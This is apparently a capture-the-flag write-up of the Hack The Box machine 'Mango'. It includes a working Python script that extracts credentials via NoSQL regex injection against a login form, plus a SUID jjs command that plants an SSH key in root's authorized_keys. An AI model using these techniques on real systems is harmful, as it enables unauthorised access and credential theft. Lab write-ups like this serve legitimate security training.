Mango

Mongo is a medium-ranked box which includes some NoSQL-injections and abusing SUID-binaries. Finding the attack vector was quite tricky but with luck and creative thinking the box is very doable and not that difficult!

First things first, let's run nmap:

mkdir nmap
sudo nmap -sC -sV -oA nmap/ -T4 10.129.1.219

There seems to be ports 22, 80 and 443 open, also ssl-cert leaked a hostname for us!

mango-nmap

It's always a good idea to add hostnames to our hosts-file when solving HTBs:

sudo vi /etc/hosts
10.129.1.219  staging-order.mango.htb

On http-side there seems to be some kind of login form.

mango-login

Initially I tried logging in with some common credentials with no luck. No sign of SQL-injection either. This step took me quite a bit and the idea came to me from the name of the box, "Mango", which is very similiar to NOSQL-database MongoDB so instead of trying regular SQL-injections we should try something more NOSQL-specific? I had little hands on experience on NOSQL-databases but exploiting them was new, luckily HackTricks had a very detailed list of some common exploit path's for NOSQL.

After studying the examples a little I decided to create my own script:

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

host = "http://staging-order.mango.htb/"

proxy = {
    "http": "http://localhost:8080",
    "https": "http://localhost:8080"
}

blacklist = ['*','+','.','?','|', '/', '\\', '$']

def mapper(n):
    return "(?!"+n+")"

def getRegexString(testString, users):
    default = '^'+testString+'.*'
    if len(users) == 0:
        return default
    result = map(mapper, users)
    array = list(result)
    return ",".join(str(x) for x in array)+default

def getUsers():
    print("Fetching users...")
    username=""
    users = []
    while True:
        userCopy = username
        for c in string.printable:
            if c not in blacklist:
                testString = username + c
                regex = getRegexString(testString,users)
                payload = {'username[$regex]': regex, 'password[$ne]': '1,login:login,submit:submit'}
                r = requests.post(host, data = payload, verify = False, proxies=proxy)
                if 'Forgot' not in r.text:
                    username += c
                    break
        if(userCopy == username):
            print("Done  : %s" % (username))
            users.append(username)
            if(username == ""):
                print("Users done!")
                break
            username = ""
        else:
            print("Found one more char for username : %s" % (username))
    return users

def getPasswords(users):
    print("Fetching passwords..")
    password=""
    for user in users:
        while True:
            passwordCopy = password
            for c in string.printable:
                if c not in blacklist:
                    testString = password + c
                    payload = {'password[$regex]': '^'+testString+'.*', 'username': user ,"login":"login","submit":"submit"}
                    r = requests.post(host, data = payload, verify = False, proxies=proxy)
                    if 'Forgot' not in r.text:
                        password += c
                        break
            if(passwordCopy == password):
                print("Username: %s password: %s" % (user,password))
                password = ""
                break
            else:
                print("%s : %s" % (user,password))

users = getUsers()
getPasswords(users)

Not the most beautiful piece of art but it gets the job done! Running this roadkill of a python app gives us two creds:

Username: mango password: h3mXK8RhU~f{]f5H
Username: admin password: t9KcS3>!0B#2

At first glance this seems to be for nothing since after a succesful login we are redirected to a "Under Plantation"-page. But luckily creds for mango work on ssh! Time to log in!

ssh mango@10.129.1.219

There seems to be one more user at the box called "admin". SSH login didn't work but it would be a good idea to try switching to admin inside the box with credentials we just found?

su admin

And we get in!

Next it's time to run linPEAS. linPEAS reveals that there's a SUID-binary called jjs. Note that linPEAS is kind enough to even color the SUID-binary as red & yellow to show us that the file is 95% an attack vector.

mango-suid jjs allows us to execute Java code and since this is a SUID-binary we can run any command we want on system as root! (Thank you gtfobins once again)

I tried setting up a Netcat listener and tried various payloads but didn't manage to get them to work. Next best thing that came to my mind would be to generate a new ssh-key and pass it to root-user's authorized_key file! Let's do that! First, let's create a ssh key with ssh-keygen

kali@kali:~/Documents/htb/mango$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): root_key
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in root_key
Your public key has been saved in root_key.pub
The key fingerprint is:
SHA256:8xnOhb2CEy15iEgS4W+tV5iMQc0rFjFyhl/CckkU7cU kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|  +*XB .         |
| .o**.= E        |
|  o+o= o         |
|   ++*o+ + o     |
|   .=.* S = o    |
|   . . . X + .   |
|    . . o * .    |
|     .   . .     |
|                 |
+----[SHA256]-----+

After transferring the public key we just created to /tmp folder we can exploit the jjs with following command:

echo "Java.type('java.lang.Runtime').getRuntime().exec('cp /tmp/root_key.pub /root/.ssh/authorized_keys')" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

There's not much to explain really, we execute a shell command on Java which uses cp-command to copy our key to root's authorized_keys folder. After that we just need to login on ssh and box is done!

ssh -i root_key root@10.129.1.219